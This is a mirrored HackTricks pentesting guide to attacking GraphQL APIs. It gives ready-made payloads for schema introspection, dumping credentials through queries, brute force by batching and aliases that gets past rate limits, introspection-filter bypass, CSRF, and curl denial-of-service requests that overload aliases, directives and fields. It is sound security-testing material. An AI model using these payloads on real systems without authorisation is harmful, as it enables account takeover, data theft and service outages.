mirror of https://github.com/carlospolop/hacktricks synced 2024-11-21 12:13:17 +00:00

2024-11-21 11:47:17 +00:00

42 KiB

Raw Permalink Blame History

GraphQL

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Introduction

GraphQL is highlighted as an efficient alternative to REST API, offering a simplified approach for querying data from the backend. In contrast to REST, which often necessitates numerous requests across varied endpoints to gather data, GraphQL enables the fetching of all required information through a single request. This streamlining significantly benefits developers by diminishing the intricacy of their data fetching processes.

GraphQL and Security

With the advent of new technologies, including GraphQL, new security vulnerabilities also emerge. A key point to note is that GraphQL does not include authentication mechanisms by default. It's the responsibility of developers to implement such security measures. Without proper authentication, GraphQL endpoints may expose sensitive information to unauthenticated users, posing a significant security risk.

Directory Brute Force Attacks and GraphQL

To identify exposed GraphQL instances, the inclusion of specific paths in directory brute force attacks is recommended. These paths are:

/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql

Identifying open GraphQL instances allows for the examination of supported queries. This is crucial for understanding the data accessible through the endpoint. GraphQL's introspection system facilitates this by detailing the queries a schema supports. For more information on this, refer to the GraphQL documentation on introspection: GraphQL: A query language for APIs.

Fingerprint

The tool graphw00f is capable to detect wich GraphQL engine is used in a server and then prints some helpful information for the security auditor.

Universal queries

To check if a URL is a GraphQL service, a universal query, query{__typename}, can be sent. If the response includes {"data": {"__typename": "Query"}}, it confirms the URL hosts a GraphQL endpoint. This method relies on GraphQL's __typename field, which reveals the type of the queried object.

query{__typename}

Basic Enumeration

Graphql usually supports GET, POST (x-www-form-urlencoded) and POST(json). Although for security it's recommended to only allow json to prevent CSRF attacks.

Introspection

To use introspection to discover schema information, query the __schema field. This field is available on the root type of all queries.

query={__schema{types{name,fields{name}}}}

With this query you will find the name of all the types being used:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

With this query you can extract all the types, it's fields, and it's arguments (and the type of the args). This will be very useful to know how to query the database.

Errors

It's interesting to know if the errors are going to be shown as they will contribute with useful information.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerate Database Schema via Introspection

{% hint style="info" %} If introspection is enabled but the above query doesn't run, try removing the onOperation, onFragment, and onField directives from the query structure. {% endhint %}

  #Full introspection query

query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
         ...FullType
        }
        directives {
            name
            description
            args {
                ...InputValue
        }
        onOperation  #Often needs to be deleted to run query
        onFragment   #Often needs to be deleted to run query
        onField      #Often needs to be deleted to run query
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}

Inline introspection query:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...)

If introspection is enabled you can use GraphQL Voyager to view in a GUI all the options.

Querying

Now that we know which kind of information is saved inside the database, let's try to extract some values.

In the introspection you can find which object you can directly query for (because you cannot query an object just because it exists). In the following image you can see that the "queryType" is called "Query" and that one of the fields of the "Query" object is "flags", which is also a type of object. Therefore you can query the flag object.

Note that the type of the query "flags" is "Flags", and this object is defined as below:

You can see that the "Flags" objects are composed by name and .value Then you can get all the names and values of the flags with the query:

query={flags{name, value}}

Note that in case the object to query is a primitive type like string like in the following example

You can just query is with:

query={hiddenFlags}

In another example where there were 2 objects inside the "Query" type object: "user" and "users".
If these objects don't need any argument to search, could retrieve all the information from them just asking for the data you want. In this example from Internet you could extract the saved usernames and passwords:

However, in this example if you try to do so you get this error:

Looks like somehow it will search using the "uid" argument of type Int.
Anyway, we already knew that, in the Basic Enumeration section a query was purposed that was showing us all the needed information: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

If you read the image provided when I run that query you will see that "user" had the arg "uid" of type Int.

So, performing some light uid bruteforce I found that in uid=1 a username and a password was retrieved:
query={user(uid:1){user,password}}

Note that I discovered that I could ask for the parameters "user" and "password" because if I try to look for something that doesn't exist (query={user(uid:1){noExists}}) I get this error:

And during the enumeration phase I discovered that the "dbuser" object had as fields "user" and "password.

Query string dump trick (thanks to @BinaryShadow_)

If you can search by a string type, like: query={theusers(description: ""){username,password}} and you search for an empty string it will dump all data. (Note this example isn't related with the example of the tutorials, for this example suppose you can search using "theusers" by a String field called "description").

Searching

In this setup, a database contains persons and movies. Persons are identified by their email and name; movies by their name and rating. Persons can be friends with each other and also have movies, indicating relationships within the database.

You can search persons by the name and get their emails:

{
  searchPerson(name: "John Doe") {
    email
  }
}

You can search persons by the name and get their subscribed films:

{
  searchPerson(name: "John Doe") {
    email
    subscribedMovies {
      edges {
        node {
          name
        }
      }
    }
  }
}

Note how its indicated to retrieve the name of the subscribedMovies of the person.

You can also search several objects at the same time. In this case, a search 2 movies is done:

{
  searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
    name
  }
}r

Or even relations of several different objects using aliases:

{
  johnsMovieList: searchPerson(name: "John Doe") {
    subscribedMovies {
      edges {
        node {
          name
        }
      }
    }
  }
  davidsMovieList: searchPerson(name: "David Smith") {
    subscribedMovies {
      edges {
        node {
          name
        }
      }
    }
  }
}

Mutations

Mutations are used to make changes in the server-side.

In the introspection you can find the declared mutations. In the following image the "MutationType" is called "Mutation" and the "Mutation" object contains the names of the mutations (like "addPerson" in this case):

A mutation to create new movies inside the database can be like the following one (in this example the mutation is called addMovie):

mutation {
  addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
    movies {
      name
      rating
    }
  }
}

Note how both the values and type of data are indicated in the query.

Additionally, the database supports a mutation operation, named addPerson, which allows for the creation of persons along with their associations to existing friends and movies. It's crucial to note that the friends and movies must pre-exist in the database before linking them to the newly created person.

mutation {
  addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
    person {
      name
      email
      friends {
        edges {
          node {
            name
            email
          }
        }
      }
      subscribedMovies {
        edges {
          node {
            name
            rating
            releaseYear
          }
        }
      }
    }
  }
}

Directive Overloading

As explained in one of the vulns described in this report, a directive overloading implies to call of a directive even millions of times to make the server waste operations until it's possible to DoS it.

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
Authentication through GraphQL API with simultaneously sending many queries with different credentials to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords.

Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:

As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.

GraphQL Without Introspection

More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.

Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.

A nice wordlist to discover GraphQL entities can be found here.

Bypassing GraphQL introspection defences

To bypass restrictions on introspection queries in APIs, inserting a special character after the __schema keyword proves effective. This method exploits common developer oversights in regex patterns that aim to block introspection by focusing on the __schema keyword. By adding characters like spaces, new lines, and commas, which GraphQL ignores but might not be accounted for in regex, restrictions can be circumvented. For instance, an introspection query with a newline after __schema may bypass such defenses:

# Example with newline to bypass
{ 
    "query": "query{__schema
    {queryType{name}}}"
}

If unsuccessful, consider alternative request methods, such as GET requests or POST with x-www-form-urlencoded, since restrictions may apply only to POST requests.

Try WebSockets

As mentioned in this talk, check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
    var GQL_CALL = {
        extensions: {},
        query: `
        {
            __schema {
                _types {
                    name
                }
            }
        }`
    }

    var graphqlMsg = {
        type: 'GQL.START',
        id: '1',
        payload: GQL_CALL,
    };
    ws.send(JSON.stringify(graphqlMsg));
}

Discovering Exposed GraphQL Structures

When introspection is disabled, examining the website's source code for preloaded queries in JavaScript libraries is a useful strategy. These queries can be found using the Sources tab in developer tools, providing insights into the API's schema and revealing potentially exposed sensitive queries. The commands to search within the developer tools are:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

If you don't know what CSRF is read the following page:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Out there you are going to be able to find several GraphQL endpoints configured without CSRF tokens.

Note that GraphQL request are usually sent via POST requests using the Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

However, most GraphQL endpoints also support form-urlencoded POST requests:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Therefore, as CSRF requests like the previous ones are sent without preflight requests, it's possible to perform changes in the GraphQL abusing a CSRF.

However, note that the new default cookie value of the samesite flag of Chrome is Lax. This means that the cookie will only be sent from a third party web in GET requests.

Note that it's usually possible to send the query request also as a GET request and the CSRF token might not being validated in a GET request.

Also, abusing a XS-Search attack might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user.

For more information check the original post here.

Cross-site WebSocket hijacking in GraphQL

Similar to CRSF vulnerabilities abusing graphQL it's also possible to perform a Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies and make a user perform unexpected actions in GraphQL.

For more information check:

{% content-ref url="../../pentesting-web/websocket-attacks.md" %} websocket-attacks.md {% endcontent-ref %}

Authorization in GraphQL

Many GraphQL functions defined on the endpoint might only check the authentication of the requester but not authorization.

Modifying query input variables could lead to sensitive account details leaked.

Mutation could even lead to account takeover trying to modify other account data.

{
  "operationName":"updateProfile",
  "variables":{"username":INJECT,"data":INJECT},
  "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass authorization in GraphQL

Chaining queries together can bypass a weak authentication system.

In the below example you can see that the operation is "forgotPassword" and that it should only execute the forgotPassword query associated with it. This can be bypassed by adding a query to the end, in this case we add "register" and a user variable for the system to register as a new user.

Bypassing Rate Limits Using Aliases in GraphQL

In GraphQL, aliases are a powerful feature that allow for the naming of properties explicitly when making an API request. This capability is particularly useful for retrieving multiple instances of the same type of object within a single request. Aliases can be employed to overcome the limitation that prevents GraphQL objects from having multiple properties with the same name.

For a detailed understanding of GraphQL aliases, the following resource is recommended: Aliases.

While the primary purpose of aliases is to reduce the necessity for numerous API calls, an unintended use case has been identified where aliases can be leveraged to execute brute force attacks on a GraphQL endpoint. This is possible because some endpoints are protected by rate limiters designed to thwart brute force attacks by restricting the number of HTTP requests. However, these rate limiters might not account for the number of operations within each request. Given that aliases allow for the inclusion of multiple queries in a single HTTP request, they can circumvent such rate limiting measures.

Consider the example provided below, which illustrates how aliased queries can be used to verify the validity of store discount codes. This method could sidestep rate limiting since it compiles several queries into one HTTP request, potentially allowing for the verification of numerous discount codes simultaneously.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
    isvalidDiscount(code:$code){
        valid
    }
    isValidDiscount2:isValidDiscount(code:$code){
        valid
    }
    isValidDiscount3:isValidDiscount(code:$code){
        valid
    }
}

DoS in GraphQL

Alias Overloading

Alias Overloading is a GraphQL vulnerability where attackers overload a query with many aliases for the same field, causing the backend resolver to execute that field repeatedly. This can overwhelm server resources, leading to a Denial of Service (DoS). For example, in the query below, the same field (expensiveField) is requested 1,000 times using aliases, forcing the backend to compute it 1,000 times, potentially exhausting CPU or memory:

{% code overflow="wrap" %}

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
    -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
    'https://example.com/graphql'

{% endcode %}

To mitigate this, implement alias count limits, query complexity analysis, or rate limiting to prevent resource abuse.

Array-based Query Batching

Array-based Query Batching is a vulnerability where a GraphQL API allows batching multiple queries in a single request, enabling an attacker to send a large number of queries simultaneously. This can overwhelm the backend by executing all the batched queries in parallel, consuming excessive resources (CPU, memory, database connections) and potentially leading to a Denial of Service (DoS). If no limit exists on the number of queries in a batch, an attacker can exploit this to degrade service availability.

{% code overflow="wrap" %}

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

{% endcode %}

In this example, 10 different queries are batched into one request, forcing the server to execute all of them simultaneously. If exploited with a larger batch size or computationally expensive queries, it can overload the server.

Directive Overloading Vulnerability

Directive Overloading occurs when a GraphQL server permits queries with excessive, duplicated directives. This can overwhelm the server’s parser and executor, especially if the server repeatedly processes the same directive logic. Without proper validation or limits, an attacker can exploit this by crafting a query with numerous duplicate directives to trigger high computational or memory usage, leading to Denial of Service (DoS).

{% code overflow="wrap" %}

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

{% endcode %}

Note that in the previous example @aa is a custom directive that might not be declared. A common directive that usually exists is @include:

{% code overflow="wrap" %}

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

{% endcode %}

You can also send an introspection query to discover all the declared directives:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

And then use some of the custom ones.

Field Duplication Vulnerability

Field Duplication is a vulnerability where a GraphQL server permits queries with the same field repeated excessively. This forces the server to resolve the field redundantly for every instance, consuming significant resources (CPU, memory, and database calls). An attacker can craft queries with hundreds or thousands of repeated fields, causing high load and potentially leading to a Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Tools

Vulnerability scanners

https://github.com/dolevf/graphql-cop: Test common misconfigurations of graphql endpoints
https://github.com/assetnote/batchql: GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations.
https://github.com/dolevf/graphw00f: Fingerprint the graphql being used
https://github.com/gsmith257-cyber/GraphCrawler: Toolkit that can be used to grab schemas and search for sensitive data, test authorization, brute force schemas, and find paths to a given type.
https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Can be used as standalone or Burp extension.
https://github.com/swisskyrepo/GraphQLmap: Can be used as a CLI client also to automate attacks
https://gitlab.com/dee-see/graphql-path-enum: Tool that lists the different ways of reaching a given type in a GraphQL schema.
https://github.com/doyensec/GQLSpection: The Successor of Standalone and CLI Modes os InQL
https://github.com/doyensec/inql: Burp extension for advanced GraphQL testing. The Scanner is the core of InQL v5.0, where you can analyze a GraphQL endpoint or a local introspection schema file. It auto-generates all possible queries and mutations, organizing them into a structured view for your analysis. The Attacker component lets you run batch GraphQL attacks, which can be useful for circumventing poorly implemented rate limits.
https://github.com/nikitastupin/clairvoyance: Try to get the schema even with introspection disabled by using the help of some Graphql databases that will suggest the names of mutations and parameters.

Clients

https://github.com/graphql/graphiql: GUI client
https://altair.sirmuel.design/: GUI Client

Automatic Tests

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Video explaining AutoGraphQL: https://www.youtube.com/watch?v=JJmufWfVvyU

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

42 KiB Raw Permalink Blame History Unescape Escape

GraphQL

Introduction

GraphQL and Security

Directory Brute Force Attacks and GraphQL

Fingerprint

Universal queries

Basic Enumeration

Introspection

Querying

Searching

Mutations

Directive Overloading

Batching brute-force in 1 API request

GraphQL Without Introspection

Bypassing GraphQL introspection defences

Try WebSockets

Discovering Exposed GraphQL Structures

CSRF in GraphQL

Cross-site WebSocket hijacking in GraphQL

Authorization in GraphQL

Bypass authorization in GraphQL

Bypassing Rate Limits Using Aliases in GraphQL

DoS in GraphQL

Alias Overloading

Array-based Query Batching

Directive Overloading Vulnerability

Field Duplication Vulnerability

Tools

Vulnerability scanners

Clients

Automatic Tests

References

42 KiB

Raw Permalink Blame History